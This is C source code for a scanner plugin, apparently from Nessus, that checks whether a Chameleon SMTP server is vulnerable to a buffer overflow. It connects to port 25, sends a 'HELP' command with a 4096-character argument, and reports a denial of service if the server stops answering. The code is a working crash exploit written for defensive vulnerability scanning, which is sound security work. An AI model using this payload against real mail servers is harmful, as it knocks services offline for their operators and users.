/*
 * 
 * chameleon_smtpd_overflow
 *
 * This plugin was written by Renaud Deraison and is released
 * under the GPL
 *
 */
#include <includes.h>


#define NAME "Chameleon SMTPd overflow"
#define DESC "Chameleon SMTPd does not properly checks bounds\n\
of some string, and a remote user may force it to crash.\n\
This plugin only tests the 'HELP longtopic' exploit, although\n\
there are several others problems"
#define SUMM "buffer overflow for the Chameleon SMTP server"
#define COPYRIGHT "problems found by Anton Rager arager@McGraw-Hill.com"                    

PlugExport int plugin_init(struct arglist *desc);
PlugExport int plugin_init(struct arglist *desc)
{
	plug_set_name(desc, NAME);
	plug_set_description(desc, DESC);
	plug_set_summary(desc, SUMM);
	plug_set_copyright(desc, COPYRIGHT);
	plug_set_category(desc, ACT_DENIAL);
	plug_set_family(desc, "Denial of Service");
	return(0);
}


PlugExport int plugin_run(struct arglist * args);	
PlugExport int plugin_run(struct arglist * args)
{
	char * buffer, * crap;
	int sock;
	
	if(host_get_port_state(args, 25)<=0)return(0);
	sock = open_sock_tcp(args, 25);
	if(sock<=0)return(0);
	buffer = (char *)emalloc(5000);
        crap = emalloc(4097);
        memset(crap, 'x', 4096);
  	sprintf(buffer, "HELP %s\n", crap);
  	efree(&crap);
  	send(sock, &buffer[0], strlen(buffer),0);
  	socket_close(sock);
  	efree(&buffer);
  	
  	sock = open_sock_tcp(args, 25);
  	if(sock<0)
  	{
  	post_hole(args, 25, 
"Performed a denial of service against the remote SMTP server\n\
which may be Chameleon SMTPd (not checked though)\n\
Solution: Upgrade");
  	}
  	else socket_close(sock);
	return(0);
}

